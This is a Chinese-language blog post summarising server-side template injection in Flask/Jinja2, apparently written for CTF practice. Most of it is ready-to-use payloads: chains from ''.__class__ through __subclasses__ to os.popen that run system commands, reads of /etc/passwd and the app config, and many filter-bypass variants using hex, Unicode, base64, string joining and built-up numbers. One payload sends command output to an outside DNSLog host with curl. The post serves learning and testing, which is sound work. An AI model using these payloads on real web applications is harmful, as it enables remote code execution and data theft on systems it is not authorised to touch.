模板注入总结
介绍
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
原理
服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
判断模板类型
通常测试模块类型的方式如下图:
flask模板注入
基础知识
在利用flask模板注入之前我们先需要认识一些Python类的基础知识
常用的内建属性
__class__
用于返回对象所属的类
1 | ''.__class__ |
__base__
以字符串的形式返回一个类所继承的类,一般情况下是object
1 | [].__class__.__base__ |
__bases__
以元组的形式返回一个类所继承的类
1 | [].__class__.__bases__ |
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
1 | class GrandFather(): |
__subclasses__()
得到object类后,就可以用__subclasses__()
获取所有的子类:
1 | [].__class__.__base__.__subclasses__() |
__dict__
我们在获得到一个模块时想调用模块中的方法,恰好该方法被过滤了,就可以用该方法bypass
1 | import os |
与dir()作用相同,都是返回属性、方法等;但一些数据类型是没有__dict__
属性的,如[].__dict__
会返回错误
__dict__
只会显示属于自己的属性,dir()除了显示自己的属性,还显示从父类继承来的属性
可以使用__dict__
来间接调用一些属性或方法,如:
1 | a=[] |
__init__
__init__
用于初始化类,作用就是为了得到function/method模型,意思就是拿到一个类之后要使用__init__
之后才能调用里面的函数和属性
__global__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合__init__
使用
如果该关键字被过滤了我们可以使用__getattribute__
,以下两者等效
1 | __init__.__globals__['sys'] |
__getitem__
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
,所以对于取字典中键值的情况不仅可以用[]
,也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个
builtins、__builtin__、__builtins__的区别
在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr
、open
。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。
在 2.x 版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。它们都需要 import 才能查看:
python2
1 | import __builtin__ |
python3
1 | import builtins |
而__builtins__
两者都有,实际上是__builtin__
和builtins
的引用。它不需要导入。不过__builtins__
与__builtin__
和builtins
是有一点区别的,__builtins__
相对实用一点,并且在 __builtins__
里有很多好东西:
1 | '__import__' in dir(__builtins__) |
过滤器
变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。
attr
attr用于获取变量
1 | ""|attr("__class__") |
这个大家应该见的比较多了,常见于点号.
被过滤,或者点号.
和中括号[]
都被过滤的情况。
format
占位符
1 | "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__' |
first last random
常用于数字被过滤后想选择最后一个内容,用处不是很多
1 | "".__class__.__mro__|last() |
join
将传入的内容拼接返回字符串
1 | ""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join] |
lower
转换为小写
1 | ""["__CLASS__"|lower] |
replace reverse
替换和反转
1 | "__claee__"|replace("ee","ss") 构造出字符串 "__class__" |
string
功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。
1 | ().__class__ 出来的是<class 'tuple'> |
select unique
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。 如果没有指定测试,则每个对象都将被计算为布尔值
1 | ()|select|string |
通过配合上面的string来拼接
1 | (()|select|string)[24]~ |
list
转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
1 | (()|select|string|list).pop(0) |
环境
首先安装flask
模组
1 | pip3 install flask |
在试了几个网上的模板都没用之后发现这个可以用
1 | from flask import Flask, request, render_template_string |
运行之后访问本地的5000端口即可
route装饰器路由
1 |
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
1 |
|
访问127.0.0.1:5000/则会输出123,我们修改一下规则
1 |
|
这个时候访问127.0.0.1:5000/test会输出123.
此外还可以设置动态网址,
1 |
|
根据url里的输入,动态辨别身份,此时便可以看到如下页面:
或者可以使用int型,转换器有下面几种:
1 | int 接受整数 |
debug模式
测试的时候,我们可以使用debug,方便调试,增加一句
1 | app.debug = True |
这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。
模板渲染
使用render_template()
或render_template_string()
方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。
1 | render_template_string("Hello %s" % name) |
检测注入
在注入处输入{{7*7}}
来测试后端是否会对输入的内容执行
根据返回结果判断是否存在注入漏洞
利用思路
第一步
使用__class__
来获取内置类所对应的类,可以使用str
,dict
,tuple
,list
等来获取。
1 | {{"".__class__}} |
第二步
拿到object
基类
- 用
__base__
拿到基类:
1 | {{"".__class__.__base__}} |
- 用
__bases__[0]
拿到基类:
1 | {{"".__class__.__bases__[0]}} |
- 用
__mro__[1]
或__mro__[-1]
拿到基类:
1 | {{"".__class__.__mro__[1]}} |
第三步
用__subclasses__()
拿到子类列表:
1 | {{"".__class__.__base__.__subclasses__()}} |
第四步
在子类列表中寻找中寻找可以getshell的类。
我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类。
这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen
为例子。
1 | search = 'popen' |
可以发现object
基类的第133个子类名为os._wrap_close
的这个类有popen方法
先调用它的__init__
方法进行初始化类,再调用__globals__
可以获取到方法内以字典的形式返回的方法、属性等值,最后调用popen
函数来执行命令
1 | "".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read() |
但是上面的方法仅限于在本地寻找,实际操作需要脚本通过不断请求访问去找可以利用的类
1 | import requests |
脚本发现第133个类存在popen
函数
或者用循环打印出所有的类和编号,再搜索能用的类:
1 | {%for i in range(300)%} |
第五步
利用找到的类
1 | {{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}} |
这样就可以操作系统命令了。
可以利用的类或函数
config
通常会用{{config}}
查询配置信息
env
这个不算类或方法,但是有可能flag会藏在这里
1 | {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}} |
popen
popen()
用于执行系统命令,返回一个文件地址,需要用read()
来显示文件的内容
1 | {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} |
subprocess.Popen
1 | {{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} |
__import__中的os
利用import导入os模块来操作系统命令
1 | {{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}} |
__builtins__代码执行
1 | {{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
request
jinja2中存在对象request
1 | {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} |
url_for
1 | {{url_for.__globals__['current_app'].config}} |
get_flashed_messages
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
lipsum
lipsum
是一个方法,可以直接调用os方法,也可以使用__buildins__
:
1 | {{lipsum.__globals__['os'].popen('whoami').read()}} |
绕过
过滤.
[]
绕过
1 | {{().__class__}} |
attr()
绕过
1 | {{().__class__}} |
过滤引号
request绕过
- GET
1 | {{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd |
- POST
1 | {{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} |
- Cookie
1 | {{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} |
chr()绕过
先找出chr()
函数的位置
1 | {{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} |
利用chr()
绕过''
1 | #原利用payload |
过滤()
由于执行函数必须要使用小括号,因此过滤小括号后只能查看config配置信息了。
过滤_
十六进制编码绕过
使用十六进制编码绕过,_
编码后为\x5f
,.
编码后为\x2E
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}} |
关键字也可以使用十六进制编码
1 | string1="__class__" |
Unicode编码绕过
1 | {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}} |
base64编码绕过
用于__getattribute__
使用实例访问属性时。
例如,过滤掉 __class__
关键词
1 | {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}} |
过滤关键字
双写、大小写
拼接字符
+
拼接
1 | {{()['__cla'+'ss__'].__bases__[0]}} |
- join拼接
1 | {{()|attr(["_"*2,"cla","ss","_"*2]|join)}} |
- 格式化+管道符
1 | {{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l |
替代方法
过滤init,可以用
__enter__
或__exit__
替代过滤config
1 | {{self}} ⇒ <TemplateReference None> |
过滤[]
索引中的[]
使用pop()
或__getitem__()
代替[]
1 | {{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read()}} |
魔术方法中的[]
魔术方法中本来是没有中括号的,但是如果需要使用[]
绕过关键字的话,可以用__getattribute__
绕过
1 | {{"".__getattribute__("__cla"+"ss__").__base__}} |
也可以配合requests
绕过
1 | {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ |
1 | {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(133).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami |
过滤{}
DNSLOG外带数据
用{%%}
替代,使用判断语句进行dns外带数据
1 | {% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %} |
print标记
1 | {%print ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%} |
过滤数字
用循环找到能利用的类直接用
1 | {% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %} |
用lipsum不通过数字直接利用
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
构造数字进行拼接
首先构造数字
1 | {%set zero=([]|string|list).index('[')%} |
然后拼接数字,这里以258为例
1 | {% set erwuba=(two~five~eight)|int %} |
融合怪
过滤['_', '.', '0-9', '\', ''', '"', '[', ']', '+', 'request']
先确定一个利用的基本payload,越简单越好
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。
先构造数字:
1 | {%set zero=([]|string|list).index('[')%} |
然后查看_
在第几个,这里是下标18为下划线
1 | {% set eighteen=nine+nine %} |
这里问题来了,attr()
里面要求的是字符串,直接输pop需要用引号''
包围起来,但是这里又过滤了引号,所以要先构造一个pop
字符串:
1 | {% set pop=dict(pop=a)|join%} |
此时就能成功取到_
,再用下划线去构造其他的类:
1 | {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} |
再去构造后面用到的方法:
1 | {% set space=(lipsum|string|list)|attr(pop)(nine)%} |
最后就是完整的利用语法:
1 | {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}} |
合在一起就是:
1 | {% set nine=dict(aaaaaaaaa=a)|join|count %} |
盲注
脚本
1 | import requests |
DNSLog外带数据
1 | {% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %} |
其他payload
1 | {{[][request['args']['class']][request['args']['base']][request['args']['subclasses']]()[153][request['args']['dict']][request['args']['init']][request['args']['globals']][request['args']['builtins']]['eval'](request['args']['payload'])}}?base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&globals=__globals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read() |
参考资料
- Post title:模板注入总结
- Post author:John_Frod
- Create time:2021-05-06 16:55:21
- Post link:https://keep.xpoet.cn/2021/05/06/模板注入总结/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.